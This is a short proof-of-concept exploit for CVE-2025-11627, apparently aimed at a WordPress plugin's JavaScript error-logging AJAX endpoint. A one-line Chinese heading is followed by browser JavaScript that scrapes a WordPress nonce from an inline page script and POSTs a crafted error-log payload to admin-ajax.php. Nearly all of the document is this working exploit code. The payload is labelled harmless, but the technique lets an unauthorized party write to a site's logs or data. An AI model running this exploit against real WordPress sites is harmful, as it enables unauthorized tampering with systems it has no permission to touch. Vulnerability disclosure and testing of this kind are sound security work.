CVE-2025-11627

使用提取的nonce向AJAX处理器发送精心构造的请求。

(() => {
  // 1) find the inline script that contains the AJAX URL
  const s = [...document.scripts].find(sc => sc.textContent.includes('bill_minozzi_js_error_catched'));
  if (!s) { console.error('Script with ajax URL not found. Is wp_head() present?'); return; }

  // 2) extract the nonce from "...admin-ajax.php?action=bill_minozzi_js_error_catched&_wpnonce=XXXX"
  const m = s.textContent.match(/admin-ajax\.php\?action=bill_minozzi_js_error_catched&_wpnonce=([A-Za-z0-9_-]+)/);
  if (!m) { console.error('Nonce not found in inline script'); return; }
  const NONCE = m[1];

  // 3) send a minimal payload (safe proof)
  fetch('/wordpress/wp-admin/admin-ajax.php', {
    method: 'POST',
    headers: {'Content-Type':'application/x-www-form-urlencoded'},
    body:
      'action=bill_minozzi_js_error_catched' +
      '&_wpnonce=' + encodeURIComponent(NONCE) +
      '&bill_js_error_catched=' + encodeURIComponent('Message: X - URL: http://x.js - Line: 1')
  }).then(r => r.text()).then(t => console.log('Response:', t));
})();